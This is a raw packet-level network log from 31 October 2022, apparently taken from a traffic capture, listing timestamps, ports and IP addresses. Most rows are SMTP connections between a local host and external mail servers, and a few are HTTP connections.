Oct 31, 2022 12:20:33.458292007 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458306074 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458322048 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458344936 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458359957 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.458375931 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.461002111 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.461034060 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.461072922 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.461139917 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.482973099 CET	80	50034	64.70.19.203	192.168.2.5
Oct 31, 2022 12:20:33.492716074 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.522468090 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.522604942 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:33.522702932 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.522746086 CET	49983	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:33.526040077 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.526135921 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.539777040 CET	25	49981	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.559814930 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.560074091 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.563431025 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.569533110 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.569660902 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.592638016 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.596596003 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.596752882 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.596833944 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.596900940 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.602051973 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.612673998 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.612833977 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.614368916 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.630069971 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.630223989 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.631860971 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.632002115 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.646858931 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.646914005 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.646936893 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.646958113 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.646992922 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.647011995 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.647026062 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.647051096 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.647064924 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.647108078 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.652232885 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.652337074 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.665421963 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.668313026 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.678860903 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.679502010 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679584026 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679611921 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679636955 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679655075 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679682016 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679696083 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679716110 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679724932 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679747105 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679759026 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679778099 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679785967 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679809093 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679819107 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679837942 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679850101 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679868937 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679882050 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.679899931 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679915905 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679930925 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679945946 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679960012 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679975986 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.679991007 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.680006027 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.684806108 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.684824944 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.695651054 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.712516069 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712538004 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712562084 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712579012 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712594986 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712610960 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712626934 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712671995 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712687016 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712702036 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.712717056 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.713022947 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.713040113 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.713054895 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.713069916 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.713084936 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.713099957 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.713116884 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.723826885 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.723850965 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.723903894 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.723990917 CET	50035	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:33.729557037 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.729672909 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.756580114 CET	25	50035	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:33.758280039 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:33.768285990 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.775223970 CET	50031	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:33.807089090 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.807363987 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.812031031 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:33.812129021 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:33.828969002 CET	25	50031	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:33.840018034 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.840504885 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.840658903 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.841769934 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.867280960 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:33.874521017 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.874573946 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.874603033 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.874634027 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.874663115 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.874727011 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.874727011 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.874852896 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.874852896 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.877727032 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.879826069 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.879951000 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.880099058 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:33.880161047 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.886368036 CET	25	49983	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:33.907645941 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907691002 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907718897 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907766104 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907795906 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907814980 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907831907 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.907831907 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.907843113 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907871008 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907908916 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907921076 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.907921076 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.907921076 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.907951117 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.907989025 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.907989025 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.907995939 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.908037901 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.908159018 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.908188105 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.908215046 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.908241987 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.908269882 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.908297062 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.912621021 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.912656069 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.913604975 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.914216042 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.914359093 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.915676117 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.933798075 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:33.940730095 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.940887928 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.940921068 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.940952063 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.940979004 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941006899 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941028118 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941226006 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941248894 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941261053 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941271067 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941297054 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941375971 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941387892 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941406012 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941468000 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941540956 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.941553116 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.944641113 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:33.944848061 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:33.949209929 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.949305058 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.949318886 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.949413061 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.949552059 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.949556112 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.949574947 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.949671984 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.955136061 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.955231905 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.958911896 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.958940029 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:33.959019899 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.959063053 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:33.983097076 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983128071 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983161926 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983177900 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983190060 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983206987 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983225107 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983242035 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983258009 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983275890 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983288050 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983299017 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983376980 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983408928 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983416080 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.983416080 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.983426094 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983438015 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983455896 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.983530045 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.983530998 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.983530998 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:33.988873005 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.988899946 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:33.999789953 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.001210928 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.004857063 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:34.017096996 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017133951 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017153978 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017173052 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017189980 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017206907 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017222881 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017239094 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017256021 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017272949 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017291069 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017306089 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017321110 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017383099 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017404079 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017452955 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017469883 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.017487049 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.018332005 CET	50054	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:34.020051003 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.020081997 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.020157099 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:34.020211935 CET	50042	25	192.168.2.5	74.125.133.27
Oct 31, 2022 12:20:34.036854029 CET	80	50054	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:34.036962986 CET	50054	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:34.037259102 CET	50054	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:34.047503948 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:34.053030968 CET	25	50042	74.125.133.27	192.168.2.5
Oct 31, 2022 12:20:34.055841923 CET	80	50054	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:34.060626984 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.209047079 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:34.209175110 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:34.226461887 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.234076977 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.238770008 CET	80	50054	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:34.238812923 CET	80	50054	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:34.238889933 CET	50054	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:34.251316071 CET	80	50054	199.59.243.222	192.168.2.5
Oct 31, 2022 12:20:34.251394033 CET	50054	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:20:34.259673119 CET	50039	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:34.287844896 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.288208008 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.288371086 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.289732933 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.292596102 CET	25	50039	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:34.343553066 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.343600988 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.343637943 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.343677998 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.343713999 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.343738079 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.343832970 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.343832970 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.343873978 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.348735094 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.350943089 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.364151955 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:34.364315987 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:34.397646904 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397686958 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397710085 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397737980 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397763968 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397768021 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.397795916 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397831917 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397849083 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.397849083 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.397849083 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.397856951 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397882938 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397901058 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.397901058 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.397901058 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.397908926 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397936106 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397958994 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.397968054 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.397984028 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.398011923 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.398037910 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.398061037 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.398078918 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.398096085 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.404726982 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.404778957 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.444401979 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:34.450176001 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:34.451740980 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.451782942 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.451813936 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.451842070 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.451869011 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.451895952 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.451925039 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.451951027 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.451977968 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.452004910 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.452030897 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.452150106 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.452179909 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.452209949 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.452236891 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.452265024 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.452291965 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.454631090 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.454668045 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.454772949 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.454842091 CET	50047	25	192.168.2.5	142.250.150.26
Oct 31, 2022 12:20:34.508498907 CET	25	50047	142.250.150.26	192.168.2.5
Oct 31, 2022 12:20:34.536901951 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:34.570871115 CET	25	50056	74.125.140.27	192.168.2.5
